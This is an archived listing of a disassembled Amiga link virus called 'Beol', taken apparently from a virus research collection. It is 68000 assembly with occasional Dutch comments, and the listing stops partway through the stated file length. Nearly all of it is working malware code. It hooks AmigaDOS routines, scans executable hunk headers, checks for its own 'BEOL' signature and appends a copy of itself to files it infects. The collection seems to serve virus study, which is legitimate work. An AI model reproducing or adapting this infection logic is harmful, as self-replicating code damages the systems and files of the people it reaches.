home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / Beol_LinkVirus / memory.beol3.asm < prev    next >
Assembly Source File  |  2013-04-14  |  17KB  |  641 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $118
  6. EXT_0002    EQU    $5890
  7.  
  8.  
  9.  
  10.  
  11.     SECTION S_0,CODE
  12.  
  13.     ;    In memory start op     $0003a5c0
  14.     ;    Eindigt in memory op     $0003abac
  15.  
  16. SECSTRT_0:
  17.     MOVEA.L    (ABSEXECBASE).W,A6    ;000: 2C780004    exec in a6
  18.     MOVEA.L    276(A6),A0        ;004: 206E0114    thistask:PTR TO tc -> a0
  19.     MOVE.L    172(A0),D0        ;008: 202800AC    ?? -> D0
  20.     BEQ.S    LAB_0002        ;00C: 6706    d0=NULL -> LAB_0002
  21.     LSL.L    #2,D0            ;00E: E588    d0<>NULL -> d0=adres
  22.     MOVEQ    #60,D1            ;010: 723C    60 -> d1
  23.     BRA.S    LAB_0003        ;012: 600A
  24.  
  25. LAB_0002:    ; geen adres aanwezig in d0
  26.     ADDA    #$005C,A0        ;014: D0FC005C    
  27.     JSR    _LVOWaitPort(A6)    ;018: 4EAEFE80    A0=port
  28.     MOVEQ    #24,D1            ;01C: 7218    24 -> d1
  29. LAB_0003:
  30.     ADD.L    D1,D0            ;01E: D081
  31.     MOVEA.L    D0,A5            ;020: 2A40    D0->A5
  32.     BSR.S    LAB_000A        ;022: 616A
  33.     BEQ.S    LAB_0004        ;024: 670A
  34.     MOVE.L    D1,(A5)            ;026: 2A81
  35.     ADDQ.L    #4,D0            ;028: 5880
  36.     MOVE    #$4EF9,(A0)+        ;02A: 30FC4EF9
  37.     MOVE.L    D0,(A0)+        ;02E: 20C0
  38. LAB_0004:
  39.     MOVE    #$4E75,(A0)+        ;030: 30FC4E75
  40. LAB_0005:
  41.     LEA    SECSTRT_0-8(PC),A2    ;034: 45FAFFC2
  42.     MOVE.L    A2,D0            ;038: 200A
  43.     SUB.L    D0,280(A2)        ;03A: 91AA0118
  44.     SUB.L    D0,300(A2)        ;03E: 91AA012C
  45.     MOVE    #$017D,D7        ;042: 3E3C017D
  46. LAB_0006:
  47.     MOVE.L    (A2)+,(A3)+        ;046: 26DA
  48.     DBF    D7,LAB_0006        ;048: 51CFFFFC
  49.     MOVE.L    A6,(A3)            ;04C: 268E
  50.     MOVEA.L    (ABSEXECBASE).W,A6    ;04E: 2C780004
  51.     MOVEA.L    A4,A1            ;052: 224C
  52.     MOVE.L    (A4),D0            ;054: 2014
  53.     JSR    -210(A6)        ;056: 4EAEFF2E
  54.     JSR    -636(A6)        ;05A: 4EAEFD84
  55.     JMP    -90(A3)            ;05E: 4EEBFFA6
  56.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;062: 48E7FFFE
  57.     BSR.S    LAB_000A        ;066: 6126
  58.     BEQ.S    LAB_0008        ;068: 671E
  59.     MOVE.L    A6,-(A7)        ;06A: 2F0E
  60.     MOVE.L    A0,D1            ;06C: 2208
  61.     SUBQ.L    #4,D1            ;06E: 5981
  62.     LSR.L    #2,D1            ;070: E489
  63.     MOVEA.L    D0,A1            ;072: 2240
  64. LAB_0007:
  65.     CMPI    #$4AFC,(A1)+        ;074: 0C594AFC
  66.     BNE.S    LAB_0007        ;078: 66FA
  67.     SUBQ    #2,A1            ;07A: 5549
  68.     MOVEA.L    (ABSEXECBASE).W,A6    ;07C: 2C780004
  69.     JSR    -102(A6)        ;080: 4EAEFF9A
  70.     MOVEA.L    (A7)+,A6        ;084: 2C5F
  71.     BRA.S    LAB_0009        ;086: 6002
  72. LAB_0008:
  73.     MOVEQ    #-1,D0            ;088: 70FF
  74. LAB_0009:
  75.     MOVE.L    D0,(A7)            ;08A: 2E80
  76.     BRA.S    LAB_0005        ;08C: 60A6
  77. LAB_000A:
  78.     MOVEA.L    (ABSEXECBASE).W,A6    ;08E: 2C780004
  79.     BSR.S    LAB_000B        ;092: 610C
  80.     DC.B    'dos.library',0        ;094
  81.  
  82. LAB_000B:
  83.     MOVEA.L    (A7)+,A1        ;0A0: 225F    copieer data van stack in A1 (waarschijnlijk begin prog)
  84.     JSR    _LVOOldOpenLibrary(A6)    ;0A2: 4EAEFE68    A1 = adres naam library
  85.     MOVEA.L    58(A6),A3        ;0A6: 266E003A
  86.     DC.W    $223A            ;0AA
  87.     DC.W    $FF48            ;0AC
  88.     LSL.L    #2,D1            ;0AE: E589
  89.     MOVEA.L    D1,A4            ;0B0: 2841
  90.     MOVE.L    -(A4),D7        ;0B2: 2E24
  91.     SUBQ.L    #8,D7            ;0B4: 5187
  92.     LEA    8(A4,D7.L),A1        ;0B6: 43F47808
  93.     MOVE    #$0193,D6        ;0BA: 3C3C0193
  94.     MOVE    D6,D5            ;0BE: 3A06
  95. LAB_000C:
  96.     MOVE.L    -(A1),-(A7)        ;0C0: 2F21
  97.     DBF    D6,LAB_000C        ;0C2: 51CEFFFC
  98.     MOVE.L    D7,D6            ;0C6: 2C07
  99.     SUB.L    LAB_0016+2(PC),D6    ;0C8: 9CBA00A8
  100. LAB_000D:
  101.     MOVE.B    -(A1),1616(A1)        ;0CC: 13610650
  102.     SUBQ.L    #1,D6            ;0D0: 5386
  103.     BNE.S    LAB_000D        ;0D2: 66F8
  104. LAB_000E:
  105.     MOVE.L    (A7)+,(A1)+        ;0D4: 22DF
  106.     DBF    D5,LAB_000E        ;0D6: 51CDFFFC
  107.     SUBA.L    A0,A0            ;0DA: 91C8
  108.     PEA    -210(A6)        ;0DC: 486EFF2E
  109.     PEA    -198(A6)        ;0E0: 486EFF3A
  110.     PEA    LAB_0052(PC)        ;0E4: 487A04EA
  111.     MOVEA.L    A7,A1            ;0E8: 224F
  112.     CLR.L    -(A7)            ;0EA: 42A7
  113.     MOVEA.L    A7,A2            ;0EC: 244F
  114.     PEA    8(A4)            ;0EE: 486C0008
  115.     PEA    8(A4,D7.L)        ;0F2: 48747808
  116.     MOVEA.L    D0,A6            ;0F6: 2C40
  117.     MOVE.L    A7,D0            ;0F8: 200F
  118.     JSR    -756(A6)        ;0FA: 4EAEFD0C
  119.     LEA    24(A7),A7        ;0FE: 4FEF0018
  120.     DC.W    $41FA            ;102
  121.     DC.W    $FEF0            ;104
  122.     MOVE.L    D0,(A0)+        ;106: 20C0
  123.     MOVE.L    D0,D1            ;108: 2200
  124.     LSL.L    #2,D0            ;10A: E588
  125.     RTS                ;10C: 4E75
  126. LAB_000F:
  127.     ILLEGAL                ;10E: 4AFC
  128. LAB_0010:
  129.     DC.W    $0000            ;110
  130.     BTST    D0,(A6)            ;112: 0116
  131.     ORI.B    #$00,D0            ;114: 00000000
  132. LAB_0011:
  133.     ORI.B    #$00,D0            ;118: 00000000
  134.     DC.W    $0003            ;11C
  135.     DC.W    $B568            ;11E
  136.     DC.W    $0003            ;120
  137.     EOR    D2,0(A0)        ;122: B5680000
  138. LAB_0012:
  139.     ORI    #$6100,132(A2)        ;126: 006A61000084
  140.     MOVEQ    #36,D0            ;12C: 7024
  141.     ADD.L    (A2),D0            ;12E: D092
  142.     LSL.L    #2,D0            ;130: E588
  143.     MOVEA.L    D0,A0            ;132: 2040
  144.     MOVEQ    #0,D0            ;134: 7000
  145.     MOVE.B    (A0),D0            ;136: 1010
  146.     BEQ.S    LAB_0014        ;138: 670E
  147.     TST.B    0(A0,D0.W)        ;13A: 4A300000
  148.     BNE.S    LAB_0014        ;13E: 6608
  149. LAB_0013:
  150.     SUBI.L    #$00000654,-20(A0)    ;140: 04A800000654FFEC
  151. LAB_0014:
  152.     BRA.S    LAB_001C        ;148: 6060
  153. LAB_0015:
  154.     BSR.S    LAB_001D        ;14A: 6162
  155.     MOVEM.L    (A7),D0/D4-D6/A4    ;14C: 4CD71071
  156.     BSR    LAB_0038        ;150: 61000304
  157.     MOVE.L    D0,D2            ;154: 2400
  158.     MOVE.L    D2,D3            ;156: 2602
  159.     SUB.L    D4,D3            ;158: 9684
  160.     BSR    LAB_003B        ;15A: 61000302
  161.     SUB.L    LAB_0013+2(PC),D0    ;15E: 90BAFFE2
  162.     BMI.S    LAB_001A        ;162: 6B3E
  163.     SUB.L    D2,D0            ;164: 9082
  164.     BGT.S    LAB_0016        ;166: 6E08
  165.     MOVEQ    #0,D5            ;168: 7A00
  166.     ADD.L    D0,D2            ;16A: D480
  167.     ADD.L    D0,D4            ;16C: D880
  168.     BMI.S    LAB_001A        ;16E: 6B32
  169. LAB_0016:
  170.     CMPI.L    #$00000650,D3        ;170: 0C8300000650
  171.     BGE.S    LAB_0019        ;176: 6C22
  172.     MOVE.L    D3,D0            ;178: 2003
  173.     SUB.L    LAB_0013+2(PC),D0    ;17A: 90BAFFC6
  174.     BSR    LAB_0039        ;17E: 610002D8
  175.     MOVE.L    LAB_0016+2(PC),D0    ;182: 203AFFEE
  176.     SUB.L    D3,D0            ;186: 9083
  177.     CMP.L    D0,D4            ;188: B880
  178.     BGT.S    LAB_0018        ;18A: 6E02
  179.     MOVE.L    D4,D0            ;18C: 2004
  180. LAB_0018:
  181.     MOVE.L    D0,4(A2)        ;18E: 25400004
  182.     MOVE.L    A4,(A2)            ;192: 248C
  183.     MOVEQ    #82,D0            ;194: 7052
  184.     BSR    LAB_003D        ;196: 610002D0
  185. LAB_0019:
  186.     MOVE.L    D2,D0            ;19A: 2002
  187.     BSR    LAB_003B        ;19C: 610002C0
  188.     BRA.S    LAB_001B        ;1A0: 6002
  189. LAB_001A:
  190.     MOVEQ    #-1,D4            ;1A2: 78FF
  191. LAB_001B:
  192.     MOVEM.L    D4-D5,4(A7)        ;1A4: 48EF00300004
  193. LAB_001C:
  194.     BRA    LAB_0024        ;1AA: 60000118
  195. LAB_001D:
  196.     MOVEA.L    (ABSEXECBASE).W,A6    ;1AE: 2C780004
  197.     MOVEA.L    276(A6),A2        ;1B2: 246E0114
  198.     MOVEA.L    58(A2),A5        ;1B6: 2A6A003A
  199.     MOVEQ    #92,D7            ;1BA: 7E5C
  200.     ADD.L    A2,D7            ;1BC: DE8A
  201.     BSR    LAB_003F        ;1BE: 610002B2
  202.     MOVEA.L    (A7)+,A0        ;1C2: 205F
  203.     LEA    24(A2),A1        ;1C4: 43EA0018
  204.     MOVEQ    #9,D0            ;1C8: 7009
  205. LAB_001E:
  206.     MOVE.L    -(A1),-(A7)        ;1CA: 2F21
  207.     DBF    D0,LAB_001E        ;1CC: 51C8FFFC
  208.     JMP    (A0)            ;1D0: 4ED0
  209. LAB_001F:
  210.     BSR.S    LAB_001D        ;1D2: 61DA
  211.     LEA    -4(A2),A1        ;1D4: 43EAFFFC
  212.     SUBA.L    A0,A0            ;1D8: 91C8
  213.     MOVE.L    (A1)+,D0        ;1DA: 2019
  214.     LSL.L    #2,D0            ;1DC: E588
  215.     MOVE.L    36(A0,D0.L),D6        ;1DE: 2C300824
  216.     MOVEA.L    (A1)+,A4        ;1E2: 2859
  217.     MOVE.L    (A1)+,D5        ;1E4: 2A19
  218.     MOVE.L    D5,D0            ;1E6: 2005
  219.     LSL.L    #2,D0            ;1E8: E588
  220.     CMPI.L    #$092E6261,0(A0,D0.L)    ;1EA: 0CB0092E62610800
  221.     BNE.S    LAB_0022        ;1F2: 6636
  222.     MOVEM.L    D0-D3/A0-A2/A6,-(A7)    ;1F4: 48E7F0E2
  223.     DC.W    $2C7A            ;1F8
  224.     DC.W    $03F6            ;1FA
  225.     MOVE.L    A4,D1            ;1FC: 220C
  226.     JSR    -96(A6)            ;1FE: 4EAEFFA0
  227.     MOVE.L    D0,D1            ;202: 2200
  228.     BEQ.S    LAB_0021        ;204: 6720
  229.     JSR    -126(A6)        ;206: 4EAEFF82
  230.     JSR    -90(A6)            ;20A: 4EAEFFA6
  231.     BSR.S    LAB_0020        ;20E: 6108
  232.     DC.W    $632F            ;210
  233.     DC.W    $6D6F            ;212
  234.     DC.W    $756E            ;214
  235.     MOVEQ    #0,D2            ;216: 7400
  236. LAB_0020:
  237.     MOVE.L    (A7)+,D1        ;218: 221F
  238.     MOVE.L    -16(A2),D2        ;21A: 242AFFF0
  239.     JSR    -30(A6)            ;21E: 4EAEFFE2
  240.     JSR    -36(A6)            ;222: 4EAEFFDC
  241. LAB_0021:
  242.     MOVEM.L    (A7)+,D0-D3/A0-A2/A6    ;226: 4CDF470F
  243. LAB_0022:
  244.     TST.L    -12(A2)            ;22A: 4AAAFFF4
  245.     BEQ    LAB_002E        ;22E: 670001B4
  246.     MOVE.L    A5,D0            ;232: 200D
  247.     LSR.L    #2,D0            ;234: E488
  248.     MOVE.L    D0,(A2)            ;236: 2480
  249.     MOVE.L    A4,-4(A2)        ;238: 254CFFFC
  250.     MOVEQ    #26,D0            ;23C: 701A
  251.     BSR    LAB_003E        ;23E: 6100022C
  252.     BPL.S    LAB_0023        ;242: 6A14
  253.     LEA    16(A5),A5        ;244: 4BED0010
  254.     MOVE.L    (A5),D0            ;248: 2015
  255.     SUB.L    -(A5),D0        ;24A: 90A5
  256.     ADDQ.L    #8,D0            ;24C: 5080
  257.     BPL.S    LAB_0023        ;24E: 6A08
  258.     MOVE    #$040A,D0        ;250: 303C040A
  259.     BSR    LAB_003D        ;254: 61000212
  260. LAB_0023:
  261.     BPL    LAB_002D        ;258: 6A000188
  262.     MOVE.L    112(A5),D4        ;25C: 282D0070
  263.     PEA    132(A5)            ;260: 486D0084
  264.     MOVE.L    104(A5),-(A7)        ;264: 2F2D0068
  265.     MOVEQ    #4,D0            ;268: 7004
  266.     MOVE.L    D0,4(A2)        ;26A: 25400004
  267.     SUBQ.L    #4,A7            ;26E: 598F
  268.     MOVE.L    A7,(A2)            ;270: 248F
  269.     MOVEQ    #82,D0            ;272: 7052
  270.     BSR    LAB_003D        ;274: 610001F2
  271.     CMPI.L    #$000003F3,(A7)+    ;278: 0C9F000003F3
  272.     BNE    LAB_002C        ;27E: 66000160
  273.     BSR    LAB_003A        ;282: 610001D8
  274.     MOVE.L    LAB_0013+2(PC),D0    ;286: 203AFEBA
  275.     MOVE.L    D0,D3            ;28A: 2600
  276.     MOVEQ    #1,D1            ;28C: 7201
  277.     JSR    -684(A6)        ;28E: 4EAEFD54
  278.     MOVEA.L    D0,A5            ;292: 2A40
  279.     MOVE.L    D0,(A2)            ;294: 2480
  280.     BEQ    LAB_002C        ;296: 67000148
  281.     MOVE.L    D3,4(A2)        ;29A: 25430004
  282.     MOVEQ    #82,D0            ;29E: 7052
  283.     BSR    LAB_003D        ;2A0: 610001C6
  284.     CMP.L    D0,D3            ;2A4: B680
  285.     BNE.S    LAB_0028        ;2A6: 6660
  286.     CMPI.L    #$42454F4C,726(A5)    ;2A8: 0CAD42454F4C02D6
  287.     BNE.S    LAB_0025        ;2B0: 6624
  288.     BSR    LAB_003A        ;2B2: 610001A8
  289.     BSR    LAB_0032        ;2B6: 6100014E
  290.     DC.W    $41FA            ;2BA
  291.     BTST    D1,(EXT_0002).W        ;2BC: 03385890
  292.     ADDA.L    (A0),A0            ;2C0: D1D0
  293.     MOVE.L    D6,(A0)            ;2C2: 2086
  294. LAB_0024:
  295.     CLR.L    32(A7)            ;2C4: 42AF0020
  296.     MOVE.L    -20(A2),D7        ;2C8: 2E2AFFEC
  297.     MOVE.L    20(A2),-20(A2)        ;2CC: 256A0014FFEC
  298.     BRA    LAB_002F        ;2D2: 60000114
  299. LAB_0025:
  300.     MOVE.L    #$000003F2,-4(A5,D3.W)    ;2D6: 2BBC000003F230FC
  301.     MOVE.L    D3,D0            ;2DE: 2003
  302.     LSR.L    #1,D0            ;2E0: E288
  303.     MOVEA.L    A5,A0            ;2E2: 204D
  304.     MOVE.L    A5,D1            ;2E4: 220D
  305. LAB_0026:
  306.     CMPI    #$03E9,(A0)+        ;2E6: 0C5803E9
  307.     DBEQ    D0,LAB_0026        ;2EA: 57C8FFFA
  308.     BNE.S    LAB_0028        ;2EE: 6618
  309.     SUB.L    A0,D1            ;2F0: 9288
  310.     ADDQ    #4,A0            ;2F2: 5848
  311.     BEQ    LAB_002B        ;2F4: 670000E4
  312.     ADDQ    #2,A0            ;2F8: 5448
  313.     CMPI    #$4E75,(A0)+        ;2FA: 0C584E75
  314.     BNE.S    LAB_0029        ;2FE: 663C
  315. LAB_0027:
  316.     CMPI    #$4AFC,(A0)+        ;300: 0C584AFC
  317.     DBEQ    D0,LAB_0027        ;304: 57C8FFFA
  318. LAB_0028:
  319.     BNE    LAB_002B        ;308: 660000D0
  320.     MOVE.L    #$00000600,D0        ;30C: 203C00000600
  321.     CMP.L    12(A0),D0        ;312: B0A8000C
  322.     BLT.S    LAB_0028        ;316: 6DF0
  323.     CMP.L    16(A0),D0        ;318: B0A80010
  324.     BLT.S    LAB_0028        ;31C: 6DEA
  325.     LEA    LAB_0011+1(PC),A1    ;31E: 43FAFDF9
  326.     ADDA    #$0009,A0        ;322: D0FC0009
  327.     MOVE.B    (A0)+,(A1)+        ;326: 12D8
  328.     MOVE    (A0)+,(A1)+        ;328: 32D8
  329.     MOVE.L    D4,D0            ;32A: 2004
  330.     SUB.L    D1,D0            ;32C: 9081
  331.     SUBI.L    #$0000064C,D0        ;32E: 04800000064C
  332.     MOVE.L    (A0)+,(A1)        ;334: 2298
  333.     ADD.L    D0,(A1)+        ;336: D199
  334.     MOVE.L    (A0)+,(A1)        ;338: 2298
  335.     ADD.L    D0,(A1)+        ;33A: D199
  336. LAB_0029:
  337.     LSR.L    #2,D4            ;33C: E48C
  338.     BCS.S    LAB_0028        ;33E: 65C8
  339.     BSR    LAB_0038        ;340: 61000114
  340.     MOVEQ    #0,D1            ;344: 7200
  341.     BSR    LAB_0037        ;346: 610000FE
  342.     MOVEA.L    A2,A1            ;34A: 224A
  343.     MOVE.L    A5,(A1)+        ;34C: 22CD
  344.     MOVE.L    D3,(A1)+        ;34E: 22C3
  345.     MOVEQ    #87,D0            ;350: 7057
  346.     BSR    LAB_003D        ;352: 61000114
  347.     BSR    LAB_003A        ;356: 61000104
  348.     MOVEA.L    A5,A0            ;35A: 204D
  349.     PEA    (1011).W        ;35C: 487803F3
  350.     MOVE.L    (A7)+,(A0)+        ;360: 20DF
  351.     CLR.L    (A0)+            ;362: 4298
  352.     MOVEQ    #2,D0            ;364: 7002
  353.     MOVE.L    D0,(A0)+        ;366: 20C0
  354.     CLR.L    (A0)+            ;368: 4298
  355.     MOVEQ    #1,D1            ;36A: 7201
  356.     MOVE.L    D1,(A0)+        ;36C: 20C1
  357.     MOVE    #$017E,D0        ;36E: 303C017E
  358.     MOVE.L    D0,(A0)+        ;372: 20C0
  359.     MOVE.L    D4,(A0)+        ;374: 20C4
  360.     MOVE    #$03E9,D1        ;376: 323C03E9
  361.     MOVE.L    D1,(A0)+        ;37A: 20C1
  362.     MOVE.L    D0,(A0)+        ;37C: 20C0
  363.     MOVE.L    #$487AFFFE,(A0)+    ;37E: 20FC487AFFFE
  364.     MOVE.L    LAB_0044(PC),(A0)+    ;384: 20FA0132
  365.     LEA    SECSTRT_0(PC),A1    ;388: 43FAFC76
  366.     MOVE    #$017B,D0        ;38C: 303C017B
  367. LAB_002A:
  368.     MOVE.L    (A1)+,(A0)+        ;390: 20D9
  369.     DBF    D0,LAB_002A        ;392: 51C8FFFC
  370.     ADDQ.L    #3,D1            ;396: 5681
  371.     MOVE.L    D1,(A0)+        ;398: 20C1
  372.     MOVEQ    #2,D0            ;39A: 7002
  373.     MOVE.L    D0,(A0)+        ;39C: 20C0
  374.     CLR.L    (A0)+            ;39E: 4298
  375.     LEA    (EXT_0001).W,A1        ;3A0: 43F80118
  376.     MOVE.L    A1,(A0)+        ;3A4: 20C9
  377.     ADDA    #$0014,A1        ;3A6: D2FC0014
  378.     MOVE.L    A1,(A0)+        ;3AA: 20C9
  379.     MOVE.L    D0,(A0)+        ;3AC: 20C0
  380.     MOVEQ    #1,D0            ;3AE: 7001
  381.     MOVE.L    D0,(A0)+        ;3B0: 20C0
  382.     SUBQ.L    #8,A1            ;3B2: 5189
  383.     MOVE.L    A1,(A0)+        ;3B4: 20C9
  384.     ADDQ.L    #4,A1            ;3B6: 5889
  385.     MOVE.L    A1,(A0)+        ;3B8: 20C9
  386.     CLR.L    (A0)+            ;3BA: 4298
  387.     ADDQ.L    #6,D1            ;3BC: 5C81
  388.     MOVE.L    D1,(A0)+        ;3BE: 20C1
  389.     SUBQ.L    #8,D1            ;3C0: 5181
  390.     MOVE.L    D1,(A0)+        ;3C2: 20C1
  391.     MOVE.L    D4,(A0)+        ;3C4: 20C4
  392.     MOVEA.L    A2,A1            ;3C6: 224A
  393.     MOVE.L    A5,(A1)+        ;3C8: 22CD
  394.     SUBQ.L    #4,D3            ;3CA: 5983
  395.     MOVE.L    D3,(A1)+        ;3CC: 22C3
  396.     MOVEQ    #87,D0            ;3CE: 7057
  397.     BSR    LAB_003D        ;3D0: 61000096
  398.     BSR.S    LAB_0036        ;3D4: 616A
  399.     BSR.S    LAB_0032        ;3D6: 612E
  400.     BRA.S    LAB_002E        ;3D8: 600A
  401. LAB_002B:
  402.     MOVEA.L    A5,A1            ;3DA: 224D
  403.     JSR    -690(A6)        ;3DC: 4EAEFD4E
  404. LAB_002C:
  405.     ADDQ    #8,A7            ;3E0: 504F
  406. LAB_002D:
  407.     BSR.S    LAB_0036        ;3E2: 615C
  408. LAB_002E:
  409.     MOVE.L    20(A2),D7        ;3E4: 2E2A0014
  410. LAB_002F:
  411.     LEA    -16(A2),A0        ;3E8: 41EAFFF0
  412.     MOVEQ    #9,D0            ;3EC: 7009
  413. LAB_0030:
  414.     MOVE.L    (A7)+,(A0)+        ;3EE: 20DF
  415.     DBF    D0,LAB_0030        ;3F0: 51C8FFFC
  416. LAB_0031:
  417.     MOVEA.L    -20(A2),A0        ;3F4: 206AFFEC
  418.     MOVE.L    D7,-20(A2)        ;3F8: 2547FFEC
  419.     MOVE.L    D7,14(A3)        ;3FC: 2747000E
  420.     MOVEA.L    A3,A1            ;400: 224B
  421.     JMP    -366(A6)        ;402: 4EEEFE92
  422. LAB_0032:
  423.     MOVEA.L    A5,A1            ;406: 224D
  424.     JSR    -690(A6)        ;408: 4EAEFD4E
  425.     MOVEM.L    (A7)+,D0-D2        ;40C: 4CDF0007
  426.     MOVE.L    D0,-(A7)        ;410: 2F00
  427.     MOVEA.L    D2,A0            ;412: 2042
  428.     MOVEA.L    D2,A1            ;414: 2242
  429.     MOVEQ    #0,D0            ;416: 7000
  430.     MOVE.B    (A0),D0            ;418: 1010
  431.     BEQ.S    LAB_0033        ;41A: 6706
  432.     ADDA    D0,A1            ;41C: D2C0
  433.     TST.B    (A1)+            ;41E: 4A19
  434.     BEQ.S    LAB_0034        ;420: 6706
  435. LAB_0033:
  436.     CLR.B    (A1)+            ;422: 4219
  437.     CLR.B    (A1)+            ;424: 4219
  438.     ADDQ.B    #1,(A0)            ;426: 5210
  439. LAB_0034:
  440.     BSR.S    LAB_0037        ;428: 611C
  441.     LSR.L    #2,D2            ;42A: E48A
  442.     MOVEQ    #28,D0            ;42C: 701C
  443.     BSR.S    LAB_0035        ;42E: 610A
  444.     CLR.L    36(A7)            ;430: 42AF0024
  445.     SUBQ.L    #3,D2            ;434: 5782
  446.     LSL.L    #2,D2            ;436: E58A
  447.     MOVEQ    #34,D0            ;438: 7022
  448. LAB_0035:
  449.     MOVE.L    D2,8(A2)        ;43A: 25420008
  450.     BRA.S    LAB_003E        ;43E: 602C
  451. LAB_0036:
  452.     MOVE    #$03EF,D0        ;440: 303C03EF
  453.     BRA.S    LAB_003D        ;444: 6022
  454. LAB_0037:
  455.     LEA    12(A2),A0        ;446: 41EA000C
  456.     MOVE.L    D1,-(A0)        ;44A: 2101
  457.     MOVE.L    D5,-(A0)        ;44C: 2105
  458.     MOVE.L    A4,-(A0)        ;44E: 210C
  459.     CLR.L    -(A0)            ;450: 42A0
  460.     MOVEQ    #21,D0            ;452: 7015
  461.     BRA.S    LAB_003E        ;454: 6016
  462. LAB_0038:
  463.     MOVEQ    #0,D0            ;456: 7000
  464. LAB_0039:
  465.     MOVEQ    #1,D1            ;458: 7201
  466.     BRA.S    LAB_003C        ;45A: 6004
  467. LAB_003A:
  468.     MOVEQ    #0,D0            ;45C: 7000
  469. LAB_003B:
  470.     MOVEQ    #-1,D1            ;45E: 72FF
  471. LAB_003C:
  472.     MOVEM.L    D0-D1,(A2)        ;460: 48D20003
  473.     MOVE    #$03F0,D0        ;464: 303C03F0
  474. LAB_003D:
  475.     MOVE.L    D6,-4(A2)        ;468: 2546FFFC
  476. LAB_003E:
  477.     MOVE    D0,-14(A2)        ;46C: 3540FFF2
  478.     BSR.S    LAB_0031        ;470: 6182
  479. LAB_003F:
  480.     MOVEA.L    D7,A0            ;472: 2047
  481.     JSR    -384(A6)        ;474: 4EAEFE80
  482.     MOVEA.L    D7,A0            ;478: 2047
  483.     JSR    -372(A6)        ;47A: 4EAEFE8C
  484.     MOVEA.L    D0,A3            ;47E: 2640
  485.     MOVEA.L    10(A3),A2        ;480: 246B000A
  486.     LEA    24(A2),A2        ;484: 45EA0018
  487.     MOVE.L    -12(A2),D0        ;488: 202AFFF4
  488.     RTS                ;48C: 4E75
  489. LAB_0040:
  490.     ADDA.L    (A7)+,A7        ;48E: DFDF
  491.     ADDA.L    (A7)+,A7        ;490: DFDF
  492.     DC.W    $034C            ;492
  493.     SWAP    D1            ;494: 4841
  494.     MOVEP.L    23128(A4),D1        ;496: 034C5A58
  495.     BCHG    D1,(A2)+        ;49A: 035A
  496.     DC.W    $4950            ;49C
  497.     DC.W    $054C            ;49E
  498.     SWAP    D1            ;4A0: 4841
  499. LAB_0041:
  500.     MOVE.L    12(A5),D1        ;4A2: 222D000C
  501.     DC.W    $41FA            ;4A6
  502.     MOVEP.L    8776(A4),D0        ;4A8: 014C2248
  503.     MOVE.L    (A0)+,D2        ;4AC: 2418
  504. LAB_0042:
  505.     SUBQ.L    #4,D2            ;4AE: 5982
  506.     BMI.S    LAB_0043        ;4B0: 6B04
  507.     CMP.L    (A0)+,D1        ;4B2: B298
  508.     BNE.S    LAB_0042        ;4B4: 66F8
  509. LAB_0043:
  510.     RTS                ;4B6: 4E75
  511. LAB_0044:
  512.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;4B8: 48E7FFFE
  513.     MOVEA.L    (ABSEXECBASE).W,A6    ;4BC: 2C780004
  514.     MOVEQ    #92,D7            ;4C0: 7E5C
  515.     ADD.L    276(A6),D7        ;4C2: DEAE0114
  516.     BSR.S    LAB_003F        ;4C6: 61AA
  517.     MOVEA.L    10(A3),A5        ;4C8: 2A6B000A
  518.     ADDQ.L    #4,A5            ;4CC: 588D
  519.     CLR.L    -(A7)            ;4CE: 42A7
  520.     MOVEQ    #-23,D0            ;4D0: 70E9
  521.     CMP.L    36(A5),D0        ;4D2: B0AD0024
  522.     BEQ.S    LAB_0049        ;4D6: 6766
  523.     SUBA.L    A1,A1            ;4D8: 93C9
  524.     MOVE.L    (A5)+,D1        ;4DA: 221D
  525.     BEQ.S    LAB_0049        ;4DC: 6760
  526.     CMPI.B    #$0D,-84(A1,D1.L)    ;4DE: 0C31000D18AC
  527.     BNE.S    LAB_0046        ;4E4: 6620
  528.     MOVE.L    80(A1,D1.L),D2        ;4E6: 24311850
  529.     BEQ.S    LAB_0046        ;4EA: 671A
  530.     LSL.L    #2,D2            ;4EC: E58A
  531.     MOVE.L    16(A1,D2.L),D3        ;4EE: 26312810
  532.     BEQ.S    LAB_0046        ;4F2: 6712
  533.     LSL.L    #2,D3            ;4F4: E58B
  534.     MOVE.L    0(A1,D3.L),D4        ;4F6: 28313800
  535.     LEA    LAB_0040(PC),A0        ;4FA: 41FAFF92
  536.     AND.L    (A0)+,D4        ;4FE: C898
  537. LAB_0045:
  538.     CMP.L    (A0)+,D4        ;500: B898
  539.     BEQ.S    LAB_0049        ;502: 673A
  540.     BGT.S    LAB_0045        ;504: 6EFA
  541. LAB_0046:
  542.     MOVE.L    (A5),D1            ;506: 2215
  543.     SUBI    #$0017,D1        ;508: 04410017
  544.     BEQ.S    LAB_0047        ;50C: 671E
  545.     SUBQ    #1,D1            ;50E: 5341
  546.     BEQ.S    LAB_0047        ;510: 671A
  547.     SUBI    #$003A,D1        ;512: 0441003A
  548.     BEQ.S    LAB_004A        ;516: 6728
  549.     SUBI    #$039B,D1        ;518: 0441039B
  550.     BEQ.S    LAB_004C        ;51C: 6744
  551.     SUBQ    #2,D1            ;51E: 5541
  552.     BEQ.S    LAB_0048        ;520: 6710
  553.     SUBQ    #1,D1            ;522: 5341
  554.     BEQ.S    LAB_004B        ;524: 6726
  555.     SUBI    #$001B,D1        ;526: 0441001B
  556.     BNE.S    LAB_004F        ;52A: 6666
  557. LAB_0047:
  558.     PEA    LAB_0012+2(PC)        ;52C: 487AFBFA
  559.     BRA.S    LAB_004D        ;530: 6034
  560. LAB_0048:
  561.     BSR    LAB_0041        ;532: 6100FF6E
  562.     BNE.S    LAB_004F        ;536: 665A
  563.     MOVE.L    0(A0,D2.L),(A0)        ;538: 20B02800
  564.     SUBQ.L    #4,(A1)            ;53C: 5991
  565. LAB_0049:
  566.     BRA.S    LAB_004F        ;53E: 6052
  567. LAB_004A:
  568.     BSR    LAB_0041        ;540: 6100FF60
  569.     BNE.S    LAB_004F        ;544: 664C
  570.     PEA    LAB_0015(PC)        ;546: 487AFC02
  571.     BRA.S    LAB_004D        ;54A: 601A
  572. LAB_004B:
  573.     BSR    LAB_0041        ;54C: 6100FF54
  574.     BNE.S    LAB_004F        ;550: 6640
  575.     TST.L    20(A5)            ;552: 4AAD0014
  576.     BLE.S    LAB_004F        ;556: 6F3A
